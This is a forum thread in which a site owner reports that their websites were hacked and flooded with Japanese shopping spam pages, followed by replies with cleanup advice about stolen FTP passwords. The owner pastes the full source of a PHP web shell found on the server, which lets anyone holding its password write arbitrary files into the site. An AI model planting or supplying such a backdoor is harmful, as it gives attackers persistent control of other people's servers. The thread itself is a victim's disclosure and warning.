Websites hacked

All my sites on Web4 have been hacked by a Japanese shopping organisation. I’m in the long process of trying to delete the thousands and thousands of files which have been uploaded

This is a snippet from one of the html files

shop/item/3390.html"

and

Mila Owen 無地衿付きニットトップス ミラオーウェン

and

Plus there are php files too, eg

$config_password=“yt”;
$action=$_REQUEST[‘action’];
$password=$_REQUEST[‘password’];
$folderpath=$_REQUEST[‘folderpath’];
$filename=$_REQUEST[‘filename’];
$body=stripslashes($_REQUEST[‘body’]);

if($password==“”||$filename==“”||$body==“”)
{
echo ‘parameters error!’;
return;
}

if($password!=$config_password)
{
echo ‘password error!’;
return;
}

$rootPath=$_SERVER[‘DOCUMENT_ROOT’];
$newPath=$rootPath;

if($folderpath!=“”)
{
if($folderpath==“root”)
{
$newPath=$rootPath.‘/’.$filename;
}
else
{
createFolder($rootPath.‘/’.$folderpath);
$newPath=$rootPath.‘/’.$folderpath.‘/’.$filename;
}
}
else
{
$newPath=$filename;
}

$fp=fopen($newPath,“w”);
//fwrite($fp,“\xEF\xBB\xBF”.iconv(‘gbk’,‘utf-8//IGNORE’,$body));
fwrite($fp,$body);
fclose($fp);

if(file_exists($newPath))
{
echo “publish success & uploaded”;
}

function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777);
}
}

Suggest everyone checks their own sites!

1 Like

Seems an iframe script added to your domain web-files.There are many ways this can happen, most is due to FTP password stolen, it doesn’t come from your PC but the gumblar worm steals it from your PC and later used by FTP to infect your pages.We recommend you to scan all computers that have FTP access to this account, or have had access to it in the past. This is to be done until an infection is found and cleaned.Also, change password of the main and the sub-FTP account.

Will do - thanks for the advice

That php file likely got uploaded and then they did the rest via that making it much harder to find the real source since it will be hidden in just a single line, and then used via website by many botnets to upload.

Thanks Stephen, I’m going through all the files on the server.